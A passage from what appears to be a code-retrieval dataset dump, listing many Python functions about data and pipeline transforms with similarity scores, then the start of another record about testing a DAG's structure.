list to avoid repeating code\\n if not isinstance(tmp_cols, List):\\n tmp_cols = [tmp_cols]\\n\\n for i, c in enumerate(tmp_cols[:]):\\n if isinstance(c, str):\\n if not self.named_columns:\\n raise ValueError(\\n \\\"Columns parameter is required for str-based indexing\\\"\\n )\\n try:\\n tmp_cols[i] = self.named_columns.index(c)\\n except ValueError:\\n raise ValueError(\\n f\\\"Dataset has no column name {c}. \\\" +\\n f\\\"Available columns: {self.named_columns}\\\"\\n )\\n\\n columns = tmp_cols\\n\\n # If it was a value originally then process\\n # it as a single value\\n if len(tmp_cols) == 1:\\n columns = tmp_cols[0]\\n\\n except KeyError:\\n raise ValueError(\\n f\\\"If a dict is provided in 'transform', then it must have the 'field' key.\\\"\\n f\\\" transform item = {k, t}\\\"\\n )\\n\\n setattr(self, name, field)\\n args = [self._train[:, columns]]\\n if self._val is not None:\\n args.append(self._val[:, columns])\\n if self._test is not None:\\n args.append(self._test[:, columns])\\n field.setup(*args)\\n self.transform_hooks.append((field, columns))\",\n \"def __call__(\\n self,\\n sample_dict: NDict,\\n key: str,\\n z_rot: float = 0.0,\\n y_rot: float = 0.0,\\n x_rot: float = 0,\\n ) -> NDict:\\n aug_input = sample_dict[key]\\n assert len(aug_input.shape) == 3 # will only work for 3d\\n if z_rot != 0:\\n aug_input = TTF.rotate(aug_input, angle=z_rot)\\n if x_rot != 0:\\n aug_input = aug_input.permute(dims=(2, 0, 1))\\n aug_input = TTF.rotate(aug_input, angle=x_rot)\\n aug_input = aug_input.permute(dims=(1, 2, 0))\\n if y_rot != 0:\\n aug_input = aug_input.permute(dims=(1, 0, 2))\\n aug_input = TTF.rotate(aug_input, angle=y_rot)\\n aug_input = aug_input.permute(dims=(1, 0, 2))\\n\\n sample_dict[key] = aug_input\\n return sample_dict\",\n \"def fit_transform(self, *args, **kwargs):\\n self.fit(*args, **kwargs)\\n return self.transform(*args, **kwargs)\",\n \"def transform(self, results: Dict):\\n\\n # Apply input remapping\\n inputs = self._map_input(results, self.mapping)\\n\\n # Scatter sequential inputs into a list\\n input_scatters = self.scatter_sequence(inputs)\\n\\n # Control random parameter sharing with a context manager\\n if self.share_random_params:\\n # The context manager :func`:cache_random_params` will let\\n # cacheable method of the transforms cache their outputs. Thus\\n # the random parameters will only generated once and shared\\n # by all data items.\\n ctx = cache_random_params # type: ignore\\n else:\\n ctx = nullcontext # type: ignore\\n\\n with ctx(self.transforms):\\n output_scatters = [\\n self._apply_transforms(_input) for _input in input_scatters\\n ]\\n\\n # Collate output scatters (list of dict to dict of list)\\n outputs = {\\n key: [_output[key] for _output in output_scatters]\\n for key in output_scatters[0]\\n }\\n\\n # Apply remapping\\n outputs = self._map_output(outputs, self.remapping)\\n\\n results.update(outputs)\\n return results\",\n \"def _calculate_composite_transforms(self):\\n\\n self._calculate_similarity()\\n # Finally, calculate composite transforms\\n commands = []\\n for moving_slice_index in self.options.slice_range:\\n commands.append(self._calculate_composite(moving_slice_index))\\n self.execute(commands)\\n\\n self._logger.info(\\\"Done with calculating the transformations.\\\")\",\n \"def transform(data: Dict, *modifiers: Callable[[Dict], None]) -> Dict:\\n for modify in modifiers:\\n modify(data)\\n return data\",\n \"def _apply(self, x, **kwargs):\\n return reduce(lambda x_i, tr: tr._apply(x_i), self.transforms, x)\",\n \"def _apply(self, x, **kwargs):\\n return self.transform._apply(x, **kwargs)\",\n \"def generateTests(self, dict, dictname='totest',\\n testmethod='test_transforms'):\\n for name, (transforms, cases) in dict.items():\\n for casenum in range(len(cases)):\\n case = cases[casenum]\\n run_in_debugger = 0\\n if len(case)==3:\\n if case[2]:\\n run_in_debugger = 1\\n else:\\n continue\\n self.addTestCase(\\n TransformTestCase, testmethod,\\n transforms=transforms, parser=self.parser,\\n input=case[0], expected=case[1],\\n id='%s[%r][%s]' % (dictname, name, casenum),\\n run_in_debugger=run_in_debugger)\",\n \"def transform(a, *fs):\\n raise NotImplementedError(\\n f'Input transforms not implemented for \\\"{type(a).__name__}\\\".'\\n )\",\n \"def _apply_pass(self, sdfg: SDFG, pipeline_results: Dict[str, Any], apply_once: bool) -> Dict[str, List[Any]]:\\n if self.progress is None and not Config.get_bool('progress'):\\n self.progress = False\\n\\n start = time.time()\\n\\n applied_transformations = collections.defaultdict(list)\\n xforms = self.transformations\\n match: Optional[xf.PatternTransformation] = None\\n\\n # Ensure transformations are unique\\n if len(xforms) != len(set(xforms)):\\n raise ValueError('Transformation set must be unique')\\n\\n if self.order_by_transformation:\\n applied_anything = True\\n while applied_anything:\\n applied_anything = False\\n for xform in xforms:\\n applied = True\\n while applied:\\n applied = False\\n for match in match_patterns(sdfg,\\n permissive=self.permissive,\\n patterns=[xform],\\n states=self.states,\\n metadata=self._metadata):\\n self._apply_and_validate(match, sdfg, start, pipeline_results, applied_transformations)\\n applied = True\\n applied_anything = True\\n break\\n if apply_once:\\n break\\n else:\\n applied = True\\n while applied:\\n applied = False\\n # Find and apply one of the chosen transformations\\n for match in match_patterns(sdfg,\\n permissive=self.permissive,\\n patterns=xforms,\\n states=self.states,\\n metadata=self._metadata):\\n self._apply_and_validate(match, sdfg, start, pipeline_results, applied_transformations)\\n applied = True\\n break\\n if apply_once:\\n break\\n\\n if self.validate:\\n try:\\n sdfg.validate()\\n except InvalidSDFGError as err:\\n if applied and match is not None:\\n raise InvalidSDFGError(\\\"Validation failed after applying {}.\\\".format(match.print_match(self)), self,\\n match.state_id) from err\\n else:\\n raise err\\n\\n if (len(applied_transformations) > 0\\n and (self.progress or self.print_report or\\n ((self.progress is None or self.print_report is None) and Config.get_bool('debugprint')))):\\n print('Applied {}.'.format(', '.join(['%d %s' % (len(v), k) for k, v in applied_transformations.items()])))\\n\\n if len(applied_transformations) == 0: # Signal that no transformation was applied\\n return None\\n return applied_transformations\",\n \"def transformation(self):\\n for key in self.combination_dict.keys():\\n if self.combination_dict[key]['column_count'] == 2:\\n if self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'tem' or self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'tem':\\n self.temporal_transformation(self.combination_dict[key])\\n elif self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'cat' or self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'cat':\\n self.categorical_transformation(self.combination_dict[key])\\n elif self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'num' and self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'num':\\n self.numerical_transformation(self.combination_dict[key])\\n\\n elif self.combination_dict[key]['column_count'] == 3:\\n num_count = 0\\n num_column = []\\n if self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'num':\\n num_count += 1\\n num_column.append(0)\\n elif self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'num':\\n num_count += 1\\n num_column.append(1)\\n elif self.data_dict[self.combination_dict[key]['column3']]['data_type'] == 'num':\\n num_count += 1\\n num_column.append(2)\\n\\n if num_count == 1:\\n self.three_column_groupby_logic(self.combination_dict[key], num_column)\\n\\n m_score_pie = []\\n m_score_bar = []\\n m_score_line = []\\n m_score_scatter = []\\n # for key in self.scenario_dict:\\n # if self.scenario_dict\\n for key in self.scenario_dict:\\n if math.isnan(self.scenario_dict[key][\\\"Scatter_chart_score\\\"]):\\n m_score_scatter.append(0)\\n else:\\n m_score_scatter.append(self.scenario_dict[key][\\\"Scatter_chart_score\\\"])\\n m_score_pie.append(self.scenario_dict[key][\\\"Pie_chart_score\\\"])\\n m_score_bar.append(self.scenario_dict[key][\\\"Bar_chart_score\\\"])\\n m_score_line.append(self.scenario_dict[key][\\\"Line_chart_score\\\"])\\n\\n m_score_pie /= np.max(m_score_pie)\\n m_score_bar /= np.max(m_score_bar)\\n m_score_line /= np.max(m_score_line)\\n m_score_scatter /= np.max(m_score_scatter)\\n m_score = [m_score_pie, m_score_bar, m_score_line, m_score_scatter]\\n match_index = np.argmax(m_score, axis = 0)\\n i = 0\\n for key in self.scenario_dict:\\n if match_index[i] == 0:\\n self.scenario_dict[key][\\\"Chart_Type\\\"] = \\\"pie\\\"\\n if match_index[i] == 1:\\n self.scenario_dict[key][\\\"Chart_Type\\\"] = \\\"bar\\\"\\n if match_index[i] == 2:\\n self.scenario_dict[key][\\\"Chart_Type\\\"] = \\\"line\\\"\\n if match_index[i] == 3:\\n self.scenario_dict[key][\\\"Chart_Type\\\"] = \\\"scatter\\\"\\n self.scenario_dict[key][\\\"m_score\\\"] = m_score[match_index[i]][i]\\n i += 1\\n\\n return self.scenario_dict\",\n \"def _run_file_contents(contents: dict, strict_fn, debug_print):\\n\\n default_fns_args = {\\n \\\"adjust_focus\\\": {\\\"on\\\": \\\"hexbin\\\"},\\n \\\"adjust_positioning\\\": True,\\n \\\"adjust_opacity\\\": True\\n }\\n\\n input_fns = contents.pop(\\\"functions\\\", {})\\n for k, v in default_fns_args.items():\\n if k not in input_fns:\\n input_fns[k] = v\\n\\n output = contents.pop(\\\"output\\\", False)\\n display = contents.pop(\\\"display\\\", True)\\n builder = PlotBuilder.builder_from_dict(**contents)\\n debug_print(\\\"* all layers loaded\\\")\\n\\n for k, v in input_fns.items():\\n if v:\\n args, kwargs = parse_args_kwargs(v)\\n try:\\n _fn_map[k](builder, *args, **kwargs)\\n debug_print(f\\\"* invoked function '{_fn_map[k].__name__}'.\\\\nargs: {args}\\\\nkwargs: {kwargs}\\\")\\n except Exception as e:\\n try:\\n debug_print(f\\\"* error while performing '{_fn_map[k].__name__}'.\\\\nerror: {e}\\\")\\n strict_fn(e)\\n except KeyError as f:\\n debug_print(f\\\"* no such function as '{k}'.\\\")\\n strict_fn(f)\\n\\n builder.finalize(raise_errors=False)\\n\\n if output:\\n args, kwargs = parse_args_kwargs(output)\\n builder.output(*args, **kwargs)\\n debug_print(\\\"* figure output.\\\")\\n\\n if display:\\n args, kwargs = parse_args_kwargs(display)\\n builder.display(*args, **kwargs)\\n debug_print(\\\"* figure displayed.\\\")\\n\\n return builder.get_plot_status()\",\n \"def execute_dag(func_dict, dag, data, targets):\\n # Needed for garbage collection.\\n visited_nodes = set(data)\\n results = data.copy()\\n\\n for task in nx.topological_sort(dag):\\n if task not in results:\\n if task in func_dict:\\n kwargs = _dict_subset(results, dag.predecessors(task))\\n results[task] = func_dict[task](**kwargs)\\n else:\\n raise KeyError(f\\\"Missing variable or function: {task}\\\")\\n\\n visited_nodes.add(task)\\n\\n if targets != \\\"all\\\":\\n results = collect_garbage(results, task, visited_nodes, targets, dag)\\n\\n return results\",\n \"def fit_transform(self, views: Iterable[np.ndarray], **kwargs):\\n return self.fit(views, **kwargs).transform(views, **kwargs)\",\n \"def crack(ctx, level, output, name, keep, save, zip_file, password,\\n no_save, verbose, filename):\\n if not path.exists(locke.transforms.utils.DBFILE):\\n print('Run generate to create a new transforms.db')\\n return 1\\n if path.exists(output) and path.isfile(output):\\n return 1\\n makedirs(output, exist_ok=True)\\n load_all_transformers()\\n if not zip_file and password is not None:\\n raise ValueError(\\\"Password field is set without zip enable\\\")\\n\\n trans_list = select_transformers(TRANSFORMERS, name, level=level)\\n results = run_transformations(trans_list, filename, keep,\\n zip_file, password, verbose)[:save]\\n\\n # TODO\\n # Call on save to disk here? or Make run_transformation call write to disk?\\n if not no_save:\\n write_to_disk(results, output, filename)\",\n \"def transform(self, data):\\n if data:\\n assert isinstance(data, dict), 'Step {}, \\\"data\\\" argument in the \\\"transform()\\\" method must be dict, ' \\\\\\n 'got {} instead.'.format(self.name, type(data))\\n logger.info('Step {}, working in \\\"{}\\\" mode'.format(self.name, self._mode))\\n\\n if self.output_is_cached:\\n logger.info('Step {} using cached output'.format(self.name))\\n step_output_data = self.output\\n elif self.output_is_persisted and self.load_persisted_output:\\n logger.info('Step {} loading persisted output from {}'.format(self.name,\\n self.experiment_directory_output_step))\\n step_output_data = self._load_output(self.experiment_directory_output_step)\\n else:\\n step_inputs = {}\\n if self.input_data is not None:\\n for input_data_part in self.input_data:\\n step_inputs[input_data_part] = data[input_data_part]\\n\\n for input_step in self.input_steps:\\n input_step._mode = self._mode\\n step_inputs[input_step.name] = input_step.transform(data)\\n\\n if self.adapter:\\n step_inputs = self._adapt(step_inputs)\\n else:\\n step_inputs = self._unpack(step_inputs)\\n step_output_data = self._transform_operation(step_inputs)\\n logger.info('Step {}, transform completed'.format(self.name))\\n return step_output_data\",\n \"async def transform(self, file):\\n\\t\\tpass\",\n \"def _transform_data(self, *args, **kwargs) -> None:\\n raise NotImplementedError\",\n \"def transform(self, *args, **kwargs):\\n raise NotImplementedError\",\n \"def apply_ren_sym(self, ren_dict):\\n raise Exception(\\\"Abstract method\\\")\",\n \"def post_processing(sample_dict: NDict, task1: bool = True, task2: bool = True) -> dict:\\n # verify sample\\n expected_keys = [f\\\"target.{key}\\\" for key in EXPECTED_TARGET_KEYS]\\n if task1:\\n expected_keys += [f\\\"task1_pred.{key}\\\" for key in EXPECTED_TASK1_PRED_KEYS]\\n if task2:\\n expected_keys += [f\\\"task2_pred.{key}\\\" for key in EXPECTED_TASK2_PRED_KEYS]\\n set(expected_keys).issubset(set(sample_dict.keypaths()))\\n\\n # convert scores to numpy array\\n # task 1\\n if task1:\\n task1_pred = []\\n for cls_name in TASK1_CLASS_NAMES:\\n task1_pred.append(sample_dict[f\\\"task1_pred.{cls_name}-score\\\"])\\n task1_pred_array = np.array(task1_pred)\\n if not np.isclose(task1_pred_array.sum(), 1.0, rtol=0.05):\\n print(\\n f\\\"Warning: expecting task 1 prediction for case {sample_dict['descriptor']} to sum up to almost 1.0, got {task1_pred_array}\\\"\\n )\\n sample_dict[\\\"task1_pred.array\\\"] = task1_pred_array\\n\\n # task 2\\n if task2:\\n task2_pred = []\\n for cls_name in TASK2_CLASS_NAMES:\\n task2_pred.append(sample_dict[f\\\"task2_pred.{cls_name}-score\\\"])\\n task2_pred_array = np.array(task2_pred)\\n if not np.isclose(task2_pred_array.sum(), 1.0, rtol=0.05):\\n print(\\n f\\\"Error: expecting task 2 prediction for case {sample_dict['descriptor']} to sum up to almost 1.0, got {task2_pred_array}\\\"\\n )\\n sample_dict[\\\"task2_pred.array\\\"] = task2_pred_array\\n\\n return sample_dict\",\n \"def _apply_transform(self, w2w_transform):\\n raise NotImplementedError\",\n \"def _run_json(key, process, cmd):\\n logging.info('Running %s', ' '.join(cmd))\\n raw = subprocess.check_output(cmd)\\n logging.info('- returned %d bytes', len(raw))\\n return key, process(json.loads(raw))\",\n \"def test_tranform_chain() -> None:\\n transform_chain = TransformChain(\\n input_variables=[\\\"first_name\\\", \\\"last_name\\\"],\\n output_variables=[\\\"greeting\\\"],\\n transform=dummy_transform,\\n )\\n input_dict = {\\\"first_name\\\": \\\"Leroy\\\", \\\"last_name\\\": \\\"Jenkins\\\"}\\n response = transform_chain(input_dict)\\n expected_response = {\\\"greeting\\\": \\\"Leroy Jenkins says hello\\\"}\\n assert response == expected_response\",\n \"def do_process_pass(self, stage, node, mapping_dict):\\n for item in node.keys():\\n if item in mapping_dict:\\n value = self.process_property(stage, item, node[item], node)\\n node[item] = value\\n for child in node.get_children():\\n self.do_process_pass(stage, child, mapping_dict)\",\n \"def transform(self, params, model, transformation, target_shape):\\n self._transform_parameters(model, params, transformation, target_shape)\",\n \"def _map_arguments(self, args):\\n comp_file = args.get('comp', None)\\n datafile = args.get('data', None)\\n do_ltsum = args.get('do_ltsum', False)\\n\\n NAME_FACTORY.update_base_dict(datafile)\\n outdir_base = os.path.join(NAME_FACTORY.base_dict['basedir'], 'counts_cubes')\\n num_files = args.get('nfiles', 96)\\n\\n self.comp_dict = yaml.safe_load(open(comp_file))\\n coordsys = self.comp_dict.pop('coordsys')\\n\\n for key_e, comp_e in sorted(self.comp_dict.items()):\\n\\n if 'mktimefilters' in comp_e:\\n mktimelist = comp_e['mktimefilters']\\n else:\\n mktimelist = ['none']\\n\\n if 'evtclasses' in comp_e:\\n evtclasslist_vals = comp_e['evtclasses']\\n else:\\n evtclasslist_vals = [NAME_FACTORY.base_dict['evclass']]\\n\\n for mktimekey in mktimelist:\\n zcut = \\\"zmax%i\\\" % comp_e['zmax']\\n kwargs_mktime = dict(zcut=zcut,\\n ebin=key_e,\\n psftype='ALL',\\n coordsys=coordsys,\\n mktime=mktimekey)\\n\\n if do_ltsum:\\n ltsum_listfile = 'ltsumlist_%s_%s' % (key_e, mktimekey)\\n ltsum_outfile = 'ltsum_%s_%s' % (key_e, mktimekey)\\n linkname = 'ltsum_%s_%s' % (key_e, mktimekey)\\n self._set_link(likname, Gtlink_ltsum,\\n infile1=ltsum_listfile,\\n infile2=None,\\n outfile=ltsum_outfile,\\n logfile=os.path.join(outdir_base, \\\"%s.log\\\" % linkname))\\n\\n for evtclassval in evtclasslist_vals:\\n for psf_type in sorted(comp_e['psf_types'].keys()):\\n fullkey = \\\"%s_%s_%s_%s\\\"%(key_e, mktimekey, evtclassval, psf_type)\\n linkname = 'coadd_%s' % (fullkey)\\n kwargs_bin = kwargs_mktime.copy()\\n kwargs_bin['psftype'] = psf_type\\n kwargs_bin['evclass'] = evtclassval\\n ccube_name =\\\\\\n os.path.basename(NAME_FACTORY.ccube(**kwargs_bin))\\n outputfile = os.path.join(outdir_base, ccube_name)\\n args = _make_input_file_list(outputfile, num_files)\\n \\n self._set_link(linkname,\\n Link_FermipyCoadd,\\n args=args,\\n output=outputfile,\\n logfile=os.path.join(outdir_base, \\\"%s.log\\\" % linkname))\",\n \"def _processArgsToLogic_extract_CDS(args, stdout, stderr,\\n gb_record_fmtdict,\\n gb_cds_fmtdict) :\\n # Initialize action flags\\n args.actionFlags = dict()\\n # Check for --count\\n if args.count :\\n if (args.unique is not None) :\\n stderr.write(\\\"--count and --unique cannot be used simultanesouly.\\\\n\\\"\\n \\\"Use --help for details on usage.\\\\n\\\")\\n sys.exit()\\n else :\\n args.actionFlags[\\\"DoCount\\\"] = True\\n return args\\n # Produce unique sequences\\n if args.unique is not None :\\n args.actionFlags[\\\"DoUniqueSequences\\\"] = True\\n # Process outfmt\\n args.outfmt = _processOutfmtArg(args.outfmt, stderr, gb_record_fmtdict,\\n gb_cds_fmtdict)\\n # Process hash\\n hashFunctions = { \\\"md5\\\" : hashlib.md5,\\n \\\"sha1\\\" : hashlib.sha1,\\n \\\"sha224\\\" : hashlib.sha224,\\n \\\"sha256\\\" : hashlib.sha256,\\n \\\"sha384\\\" : hashlib.sha384,\\n \\\"sha512\\\" : hashlib.sha512}\\n args.hash = hashFunctions[args.hash]\\n # Return\\n return args\",\n \"def applyMapping(self):\\n pass\",\n \"def perform(self, command, **kwargs):\\n self.LogCommand()\\n\\n tclcode = \\\"stc::perform \\\" + command\\n\\n for key in kwargs:\\n #tclcode = tclcode + \\\" \\\" + \\\"-\\\" + key + ' \\\"' + str(kwargs[key]) + '\\\"'\\n tclcode = tclcode + \\\" \\\" + \\\"-\\\" + key + r\\\" {\\\" + str(kwargs[key]) + r\\\"}\\\"\\n\\n result = self.Exec(tclcode)\\n result_dict = self.List2Dict(result)\\n logging.debug(\\\" - Python result - \\\" + str(result_dict))\\n return result_dict\",\n \"def apply_ren(self, ren_dict):\\n raise Exception(\\\"Abstract method\\\")\",\n \"def applyRunInfo(self, runInfo):\\n self.runInfoDict = runInfo\",\n \"def test_transform():\\n args = get_layer('transform', 'manual', 'temporal', False, False, window=2, step_size=3)\\n run_layer(*args)\",\n \"def pre_transform_hash(self):\\n if self.custom_hash is not None:\\n return self.custom_hash\\n if self.pre_transform is None:\\n return 'no_pre_transform'\\n return hashlib.md5(_repr(self.pre_transform).encode()).hexdigest()\",\n \"def run(self, data, config=None, pipeline=None):\\n data[self.dst] = self.copy_fn(data[self.src])\\n return data\",\n \"def _process(self):\\n # choose the correct transform model before processing TI data\\n self._select_transform()\\n\\n # process type first, fail early\\n self._process_type()\\n\\n # process type specific data\\n if isinstance(self.transform, GroupTransformModel):\\n self._process_group()\\n elif isinstance(self.transform, IndicatorTransformModel):\\n self._process_indicator()\\n\\n # self.process_associations(self.transform.associations)\\n self._process_associated_group(self.transform.associated_groups)\\n self._process_attributes(self.transform.attributes or [])\\n self._process_security_labels(self.transform.security_labels or [])\\n self._process_tags(self.transform.tags or [])\\n\\n # date added\\n self._process_metadata_datetime('dateAdded', self.transform.date_added)\\n\\n # last modified\\n self._process_metadata_datetime('lastModified', self.transform.last_modified)\\n\\n # xid\\n self._process_metadata('xid', self.transform.xid)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.65600985","0.58770233","0.5642491","0.5400571","0.53724617","0.53604096","0.53584576","0.5241145","0.5201133","0.5098775","0.5077724","0.50566465","0.5045827","0.5000128","0.49946854","0.49663246","0.49579343","0.4930994","0.48909107","0.48407468","0.48358938","0.4819561","0.48111072","0.47916046","0.47879595","0.47827828","0.47819936","0.4779404","0.47673506","0.4750646","0.4743349","0.47376862","0.47260374","0.4725801","0.47175413","0.47174332","0.4713491","0.46962145","0.4661174","0.46575576","0.46543565","0.4649362","0.4646455","0.46253026","0.46176913","0.45940372","0.4591192","0.45909962","0.4587054","0.4586105","0.4572531","0.45724744","0.45651293","0.45631164","0.45392683","0.45361647","0.45318252","0.453031","0.45221406","0.45154482","0.4514669","0.45131606","0.4504016","0.45004615","0.44970492","0.44899035","0.4487774","0.4483153","0.44766968","0.44745138","0.44696632","0.44679815","0.4463824","0.44568646","0.44550177","0.44507378","0.44488633","0.4446813","0.44460884","0.44407374","0.4436831","0.44300237","0.44288653","0.44262478","0.4422265","0.44181466","0.44152984","0.44150954","0.44143426","0.44130546","0.44111982","0.44095832","0.44042888","0.4396819","0.43945688","0.43935612","0.43927515","0.4392702","0.43864685","0.43781576"],"string":"[\n \"0.65600985\",\n \"0.58770233\",\n \"0.5642491\",\n \"0.5400571\",\n \"0.53724617\",\n \"0.53604096\",\n \"0.53584576\",\n \"0.5241145\",\n \"0.5201133\",\n \"0.5098775\",\n \"0.5077724\",\n \"0.50566465\",\n \"0.5045827\",\n \"0.5000128\",\n \"0.49946854\",\n \"0.49663246\",\n \"0.49579343\",\n \"0.4930994\",\n \"0.48909107\",\n \"0.48407468\",\n \"0.48358938\",\n \"0.4819561\",\n \"0.48111072\",\n \"0.47916046\",\n \"0.47879595\",\n \"0.47827828\",\n \"0.47819936\",\n \"0.4779404\",\n \"0.47673506\",\n \"0.4750646\",\n \"0.4743349\",\n \"0.47376862\",\n \"0.47260374\",\n \"0.4725801\",\n \"0.47175413\",\n \"0.47174332\",\n \"0.4713491\",\n \"0.46962145\",\n \"0.4661174\",\n \"0.46575576\",\n \"0.46543565\",\n \"0.4649362\",\n \"0.4646455\",\n \"0.46253026\",\n \"0.46176913\",\n \"0.45940372\",\n \"0.4591192\",\n \"0.45909962\",\n \"0.4587054\",\n \"0.4586105\",\n \"0.4572531\",\n \"0.45724744\",\n \"0.45651293\",\n \"0.45631164\",\n \"0.45392683\",\n \"0.45361647\",\n \"0.45318252\",\n \"0.453031\",\n \"0.45221406\",\n \"0.45154482\",\n \"0.4514669\",\n \"0.45131606\",\n \"0.4504016\",\n \"0.45004615\",\n \"0.44970492\",\n \"0.44899035\",\n \"0.4487774\",\n \"0.4483153\",\n \"0.44766968\",\n \"0.44745138\",\n \"0.44696632\",\n \"0.44679815\",\n \"0.4463824\",\n \"0.44568646\",\n \"0.44550177\",\n \"0.44507378\",\n \"0.44488633\",\n \"0.4446813\",\n \"0.44460884\",\n \"0.44407374\",\n \"0.4436831\",\n \"0.44300237\",\n \"0.44288653\",\n \"0.44262478\",\n \"0.4422265\",\n \"0.44181466\",\n \"0.44152984\",\n \"0.44150954\",\n \"0.44143426\",\n \"0.44130546\",\n \"0.44111982\",\n \"0.44095832\",\n \"0.44042888\",\n \"0.4396819\",\n \"0.43945688\",\n \"0.43935612\",\n \"0.43927515\",\n \"0.4392702\",\n \"0.43864685\",\n \"0.43781576\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.6176635"},"document_rank":{"kind":"string","value":"1"}}}],"truncated":false,"partial":true},"paginationData":{"pageIndex":800,"numItemsPerPage":100,"numTotalItems":95772,"offset":80000,"length":100}},"jwt":"eyJhbGciOiJFZERTQSIsImtpZCI6IjVHZDBvd0g5MTM2eDZjc1FvbE1zcktNWUZoRVFoUm5PVVVybEpjOUhaUEEifQ.eyJyZWFkIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJyZXBvLmNvbnRlbnQucmVhZCI6dHJ1ZX0sImlhdCI6MTc4NjI0NjExOCwianRpIjoiNWRlNmM4NjItNGU1MC00OTBlLTkxYzEtNDhjZmFhNjE3Y2RmIiwic3ViIjoiL2RhdGFzZXRzL25vbWljLWFpL2Nvcm5zdGFjay1weXRob24tdjEiLCJleHAiOjE3ODYyNDk3MTgsImlzcyI6Imh0dHBzOi8vaHVnZ2luZ2ZhY2UuY28ifQ.ua8HHc7awPaQCAJGAReKq__bruOrKSimHnX1yU0dM3UcNMB1uVQvk8XEONIf_Ys9CU8DDUPVqMpvsYMla2PCCg","displayUrls":true,"splitSizeSummaries":[{"config":"default","split":"train","numRows":95772,"numBytesParquet":1928375891}]},"discussionsStats":{"closed":1,"open":1,"total":2},"fullWidth":true,"hasGatedAccess":true,"hasFullAccess":true,"isEmbedded":false,"savedQueries":{"community":[],"user":[]}}">
query stringlengths 9 3.4k | document stringlengths 9 87.4k | metadata dict | negatives listlengths 4 101 | negative_scores listlengths 4 101 | document_score stringlengths 3 10 | document_rank stringclasses 102
values |
|---|---|---|---|---|---|---|
Encodes batch data. Combines intent and text and action name and action text if both are present. | def _process_batch_data(
self, tf_batch_data: Dict[Text, Dict[Text, List[tf.Tensor]]]
) -> Tuple[tf.Tensor, Optional[tf.Tensor], Optional[tf.Tensor]]:
# encode each attribute present in tf_batch_data
text_output = None
text_sequence_lengths = None
batch_encoded = {}
f... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def encode(batch, tokenizer):\n return tokenizer.batch_encode_plus(batch['sentence'], padding='max_length')",
"def __call__(\n self, data_batch: Dict[str, List[str]]\n ) -> Tuple[\n BatchEncoding,\n List[Dict[str, Union[int, str]]],\n List[SquadExample],\n List[SquadFeatu... | [
"0.5812564",
"0.57255256",
"0.5528758",
"0.5521924",
"0.5521924",
"0.54412633",
"0.5408598",
"0.52338",
"0.5196475",
"0.51125795",
"0.50439006",
"0.5042097",
"0.5039555",
"0.5026467",
"0.49971974",
"0.4960177",
"0.49545312",
"0.49537224",
"0.4953697",
"0.4952628",
"0.49509415... | 0.6363296 | 0 |
Calculates the loss for the given batch. | def batch_loss(
self, batch_in: Union[Tuple[tf.Tensor, ...], Tuple[np.ndarray, ...]]
) -> tf.Tensor:
tf_batch_data = self.batch_to_model_data_format(batch_in, self.data_signature)
self._compute_dialogue_indices(tf_batch_data)
all_label_ids, all_labels_embed = self._create_all_labels... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def loss_(self, batch):\n raise NotImplementedError",
"def compute_batch_loss(self, batch_data):\n loss = 0\n for data in batch_data:\n x, y = data\n x = x.view(-1,x.shape[0],x.shape[1])\n y = y.view(-1,y.shape[0], y.shape[1])\n loss += self.comput... | [
"0.8202585",
"0.80554086",
"0.7891249",
"0.77008855",
"0.7672072",
"0.7433997",
"0.73631585",
"0.72367036",
"0.71682936",
"0.7149837",
"0.71187645",
"0.7041454",
"0.7039752",
"0.7038395",
"0.6965841",
"0.694148",
"0.6937839",
"0.6924688",
"0.6857049",
"0.6846526",
"0.6832357"... | 0.701632 | 14 |
Prepares the model for prediction. | def prepare_for_predict(self) -> None:
_, self.all_labels_embed = self._create_all_labels_embed() | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _predict_preproc_model(self, model_cfg, model,):\n model = self._make_model(model_cfg['model_name'], databunch=self._data)\n model.model_param = model_cfg['model_param']\n model.wrapper_params = model_cfg['wrapper_params']\n return(model)",
"def prepare(self):\n\n inp = sel... | [
"0.72086805",
"0.6995577",
"0.6810046",
"0.65236855",
"0.651078",
"0.6463981",
"0.6454248",
"0.63576317",
"0.62059766",
"0.6198991",
"0.6195827",
"0.6190496",
"0.6141832",
"0.6115495",
"0.61043113",
"0.6095206",
"0.60888636",
"0.605198",
"0.60391265",
"0.6035085",
"0.6032339"... | 0.6949675 | 2 |
Predicts the output of the given batch. | def batch_predict(
self, batch_in: Union[Tuple[tf.Tensor, ...], Tuple[np.ndarray, ...]]
) -> Dict[Text, Union[tf.Tensor, Dict[Text, tf.Tensor]]]:
if self.all_labels_embed is None:
raise ValueError(
"The model was not prepared for prediction. "
"Call `prepa... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def predict(self):\n batch = get_predict_batch(1, num_rec_out=self.num_test_rec)\n self.g_model.test_batch(\n batch, self.global_step, num_rec_out=self.num_test_rec)",
"def predict_on_batch(self, input_batch):\n from deeplift.util import run_function_in_batches\n from deepl... | [
"0.7748216",
"0.77126604",
"0.7606435",
"0.75135857",
"0.74619675",
"0.743488",
"0.72738177",
"0.7270976",
"0.72188425",
"0.7205821",
"0.7106716",
"0.7099856",
"0.70555043",
"0.7051696",
"0.70497996",
"0.7023709",
"0.7003142",
"0.6971342",
"0.6956929",
"0.6940344",
"0.6928592... | 0.691853 | 22 |
Test that the Crossref Events DAG has the correct structure. | def test_dag_structure(self):
dag = UnpaywallTelescope().make_dag()
self.assert_dag_structure(
{
"check_dependencies": ["check_releases"],
"check_releases": ["download"],
"download": ["upload_downloaded"],
"upload_downloaded": ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
